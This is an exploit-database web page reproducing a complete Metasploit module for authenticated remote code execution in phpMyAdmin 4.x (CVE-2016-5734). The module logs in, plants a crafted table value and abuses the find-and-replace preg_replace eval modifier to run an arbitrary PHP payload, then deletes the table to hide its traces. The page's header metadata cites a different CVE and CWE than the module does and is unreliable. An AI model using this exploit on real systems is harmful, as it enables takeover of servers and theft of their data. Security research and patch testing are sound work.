Advertisement






phpMyAdmin 4.x Remote Code Execution

CVE Category Price Severity
CVE-2009-1151 CWE-94 $10,000 - $25,000 High
Author Risk Exploitation Type Date
Unknown High Remote 2018-06-18
CVSS EPSS EPSSP
CVSS:4.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2018060195

Below is a copy:

phpMyAdmin 4.x Remote Code Execution
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'phpMyAdmin Authenticated Remote Code Execution',
      'Description'     => %q{
        phpMyAdmin 4.0.x before 4.0.10.16, 4.4.x before 4.4.15.7, and 4.6.x before
        4.6.3 does not properly choose delimiters to prevent use of the preg_replace
        (aka eval) modifier, which might allow remote attackers to execute arbitrary
        PHP code via a crafted string, as demonstrated by the table search-and-replace
        implementation.
      },
      'Author' =>
        [
          'Michal AihaA and Cure53', # Discovery
          'Matteo Cantoni <goony[at]nothink.org>' # Metasploit Module
        ],
      'License'         => MSF_LICENSE,
      'References'      =>
        [
          [ 'BID', '91387' ],
          [ 'CVE', '2016-5734' ],
          [ 'CWE', '661' ],
          [ 'URL', 'https://www.phpmyadmin.net/security/PMASA-2016-27/' ],
          [ 'URL', 'https://security.gentoo.org/glsa/201701-32' ],
          [ 'URL', 'https://www.exploit-db.com/exploits/40185/' ],
        ],
      'Privileged'  => true,
      'Platform'  => [ 'php' ],
      'Arch'  => ARCH_PHP,
      'Payload' =>
        {
          'BadChars' => "&\n=+%",
        },
      'Targets' =>
        [
          [ 'Automatic', {} ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Jun 23 2016'))

    register_options(
      [
        OptString.new('TARGETURI', [ true, "Base phpMyAdmin directory path", '/phpmyadmin/']),
        OptString.new('USERNAME', [ true, "Username to authenticate with", 'root']),
        OptString.new('PASSWORD', [ false, "Password to authenticate with", '']),
        OptString.new('DATABASE', [ true, "Existing database at a server", 'phpmyadmin'])
      ])
  end

  def check
    begin
      res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/js/messages.php') })
    rescue
      print_error("#{peer} - Unable to connect to server")
      return Exploit::CheckCode::Unknown
    end

    if res.nil? || res.code != 200
      print_error("#{peer} - Unable to query /js/messages.php")
      return Exploit::CheckCode::Unknown
    end

    # PHP 4.3.0-5.4.6
    # PHP > 5.4.6 not exploitable because null byte in regexp warning
    php_version = res['X-Powered-By']
    if php_version
      vprint_status("#{peer} - PHP version: #{php_version}")

      if php_version =~ /PHP\/(\d+\.\d+\.\d+)/
        version = Gem::Version.new($1)
        vprint_status("#{peer} - PHP version: #{version.to_s}")
        if version > Gem::Version.new('5.4.6')
          return Exploit::CheckCode::Safe
        end
      end
    else
      vprint_status("#{peer} - Unknown PHP version")
    end

    # 4.3.0 - 4.6.2 authorized user RCE exploit
    if res.body =~ /pmaversion = '(\d+\.\d+\.\d+)';/
      version = Gem::Version.new($1)
      vprint_status("#{peer} - phpMyAdmin version: #{version.to_s}")

      if version >= Gem::Version.new('4.3.0') and version <= Gem::Version.new('4.6.2')
        return Exploit::CheckCode::Appears
      elsif version < Gem::Version.new('4.3.0')
        return Exploit::CheckCode::Detected
      end
      return Exploit::CheckCode::Safe
    end

    return Exploit::CheckCode::Unknown
  end

  def exploit
    return unless check == Exploit::CheckCode::Appears

    uri = target_uri.path
    vprint_status("#{peer} - Grabbing CSRF token...")

    response = send_request_cgi({ 'uri' => uri})

    if response.nil?
      fail_with(Failure::NotFound, "#{peer} - Failed to retrieve webpage grabbing CSRF token")
    elsif (response.body !~ /"token"\s*value="([^"]*)"/)
      fail_with(Failure::NotFound, "#{peer} - Couldn't find token. Is URI set correctly?")
    end

    token = $1
    vprint_status("#{peer} - Retrieved token #{token}")

    vprint_status("#{peer} - Authenticating...")
    login = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(uri, 'index.php'),
      'vars_post' => {
        'token' => token,
        'pma_username' => datastore['USERNAME'],
        'pma_password' => datastore['PASSWORD']
      }
    })

    if login.nil?
      fail_with(Failure::NotFound, "#{peer} - Failed to retrieve webpage")
    elsif login.redirect?
      token = login.redirection.to_s.scan(/token=(.*)[&|$]/).flatten.first
    else
      fail_with(Failure::NotFound, "#{peer} - Couldn't find token. Wrong phpMyAdmin version?")
    end

    cookies = login.get_cookies

    login_check = send_request_cgi({
      'uri' => normalize_uri(uri, 'index.php'),
      'vars_get' => { 'token' => token },
      'cookie' => cookies
    })

    if login_check.nil?
      fail_with(Failure::NotFound, "#{peer} - Failed to retrieve webpage")
    elsif login_check.body =~ /Welcome to/
      fail_with(Failure::NoAccess, "#{peer} - Authentication failed")
    end

    vprint_status("#{peer} - Authentication successful")

    # Create random table and column
    rand_table = Rex::Text.rand_text_alpha_lower(3+rand(3))
    rand_column = Rex::Text.rand_text_alpha_lower(3+rand(3))
    sql_value = '0%2Fe%00'

    vprint_status("#{peer} - Create random table '#{rand_table}' into '#{datastore['DATABASE']}' database...");

    create_rand_table = send_request_cgi({
      'uri' => normalize_uri(uri, 'import.php'),
      'method' => 'POST',
      'cookie' => cookies,
      'encode_params' => false,
      'vars_post' => {
        'show_query' => '0',
        'ajax_request' => 'true',
        'db' => datastore['DATABASE'],
        'pos' => '0',
        'is_js_confirmed' => '0',
        'fk_checks' => '0',
        'sql_delimiter' => ';',
        'token' => token,
        'SQL' => 'Go',
        'ajax_page_request' => 'true',
        'sql_query' => "CREATE+TABLE+`#{rand_table}`+( ++++++`#{rand_column}`+varchar(10)+CHARACTER+SET"\
                    "+utf8+NOT+NULL ++++)+ENGINE=InnoDB+DEFAULT+CHARSET=latin1; ++++INSERT+INTO+`#{rand_table}`+"\
                    "(`#{rand_column}`)+VALUES+('#{sql_value}'); ++++",
      }
    })

    if create_rand_table.nil? || create_rand_table.body =~ /(.*)<code>\\n(.*)\\n<\\\/code>(.*)/i
      fail_with(Failure::Unknown, "#{peer} - Failed to create a random table")
    end

    vprint_status("#{peer} - Random table created")

    # Execute command
    command = Rex::Text.uri_encode(payload.encoded)

    exec_cmd = send_request_cgi({
      'uri' => normalize_uri(uri, 'tbl_find_replace.php'),
      'method' => 'POST',
      'cookie' => cookies,
      'encode_params' => false,
      'vars_post' =>{
        'columnIndex' => '0',
        'token' => token,
        'submit' => 'Go',
        'ajax_request' => 'true',
        'goto' => 'sql.php',
        'table' => rand_table,
        'replaceWith' => "eval%28%22#{command}%22%29%3B",
        'db' => datastore['DATABASE'],
        'find' => sql_value,
        'useRegex' => 'on'
      }
    })

    # Remove random table
    vprint_status("#{peer} - Remove the random table '#{rand_table}' from '#{datastore['DATABASE']}' database")

    rm_table = send_request_cgi({
      'uri' => normalize_uri(uri, 'import.php'),
      'method' => 'POST',
      'cookie' => cookies,
      'encode_params' => false,
      'vars_post' => {
        'show_query' => '0',
        'ajax_request' => 'true',
        'db' => datastore['DATABASE'],
        'pos' => '0',
        'is_js_confirmed' => '0',
        'fk_checks' => '0',
        'sql_delimiter' => ';',
        'token' => token,
        'SQL' => 'Go',
        'ajax_page_request' => 'true',
        'sql_query' => "DROP+TABLE+`#{rand_table}`"
      }
    })

    if rm_table.nil? || rm_table.body !~ /(.*)MySQL returned an empty result set \(i.e. zero rows\).(.*)/i
      print_bad("#{peer} - Failed to remove the table '#{rand_table}'")
    end
  end
end

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum